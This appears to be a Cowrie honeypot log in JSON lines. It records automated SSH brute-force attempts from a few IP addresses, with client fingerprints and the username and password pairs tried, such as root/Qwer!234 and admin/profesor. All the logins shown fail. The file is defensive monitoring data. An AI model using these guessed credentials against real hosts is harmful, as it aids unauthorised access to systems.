{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:32.251620Z","src_ip":"60.165.124.241","session":"8312af8e29fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer!234","message":"login attempt [root/Qwer!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:32.993862Z","src_ip":"60.165.124.241","session":"8312af8e29fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:34.243959Z","src_ip":"60.165.124.241","session":"8312af8e29fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":40240,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aa45af1bee8","protocol":"ssh","message":"New connection: 60.165.124.241:40240 (10.17.0.5:22) [session: 0aa45af1bee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:34.475399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:34.479911Z","src_ip":"60.165.124.241","session":"0aa45af1bee8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:34.720090Z","src_ip":"60.165.124.241","session":"0aa45af1bee8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1337","message":"login attempt [root/1337] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:35.447290Z","src_ip":"60.165.124.241","session":"0aa45af1bee8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:36.690658Z","src_ip":"60.165.124.241","session":"0aa45af1bee8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":43382,"dst_ip":"10.17.0.5","dst_port":22,"session":"90f6a9ea2569","protocol":"ssh","message":"New connection: 60.165.124.241:43382 (10.17.0.5:22) [session: 90f6a9ea2569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:36.930697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:36.935403Z","src_ip":"60.165.124.241","session":"90f6a9ea2569","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:37.183280Z","src_ip":"60.165.124.241","session":"90f6a9ea2569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111Aa","message":"login attempt [root/111111Aa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:37.933998Z","src_ip":"60.165.124.241","session":"90f6a9ea2569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:39.181303Z","src_ip":"60.165.124.241","session":"90f6a9ea2569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":46528,"dst_ip":"10.17.0.5","dst_port":22,"session":"e166635d63d1","protocol":"ssh","message":"New connection: 60.165.124.241:46528 (10.17.0.5:22) [session: e166635d63d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:39.416016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:39.424242Z","src_ip":"60.165.124.241","session":"e166635d63d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:39.666252Z","src_ip":"60.165.124.241","session":"e166635d63d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server123@","message":"login attempt [root/Server123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:40.405259Z","src_ip":"60.165.124.241","session":"e166635d63d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:41.649690Z","src_ip":"60.165.124.241","session":"e166635d63d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":49748,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e171a251e1f","protocol":"ssh","message":"New connection: 60.165.124.241:49748 (10.17.0.5:22) [session: 5e171a251e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:41.882434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:41.888042Z","src_ip":"60.165.124.241","session":"5e171a251e1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:42.127702Z","src_ip":"60.165.124.241","session":"5e171a251e1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa+123456","message":"login attempt [root/Aa+123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:42.869964Z","src_ip":"60.165.124.241","session":"5e171a251e1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:44.127843Z","src_ip":"60.165.124.241","session":"5e171a251e1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":53144,"dst_ip":"10.17.0.5","dst_port":22,"session":"d7fe701541bf","protocol":"ssh","message":"New connection: 60.165.124.241:53144 (10.17.0.5:22) [session: d7fe701541bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:44.374881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:44.379752Z","src_ip":"60.165.124.241","session":"d7fe701541bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":46702,"dst_ip":"159.203.135.109","dst_port":22,"session":"22593c699c07","protocol":"ssh","message":"New connection: 2.57.122.208:46702 (159.203.135.109:22) [session: 22593c699c07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:45.227817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:45.238084Z","src_ip":"2.57.122.208","session":"22593c699c07","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:45.339527Z","src_ip":"60.165.124.241","session":"d7fe701541bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:45.428622Z","src_ip":"2.57.122.208","session":"22593c699c07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:46.128810Z","src_ip":"2.57.122.208","session":"22593c699c07","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testpassword","message":"login attempt [root/testpassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:46.784037Z","src_ip":"60.165.124.241","session":"d7fe701541bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:47.399745Z","src_ip":"2.57.122.208","session":"22593c699c07","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"166a70ecf01e","protocol":"ssh","message":"New connection: 2.57.121.112:53754 (159.203.135.109:22) [session: 166a70ecf01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:47.898947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:47.903404Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:48.009981Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"pseudo","message":"login attempt [admin/pseudo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:48.495680Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:48.647333Z","src_ip":"60.165.124.241","session":"d7fe701541bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":59302,"dst_ip":"10.17.0.5","dst_port":22,"session":"686926877a10","protocol":"ssh","message":"New connection: 60.165.124.241:59302 (10.17.0.5:22) [session: 686926877a10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:48.922416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:48.927502Z","src_ip":"60.165.124.241","session":"686926877a10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:49.195693Z","src_ip":"60.165.124.241","session":"686926877a10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"prono1","message":"login attempt [admin/prono1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:49.605809Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"profesor","message":"login attempt [admin/profesor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:58:50.709904Z","src_ip":"2.57.121.112","session":"166a70ecf01e","protocol":"ssh"}
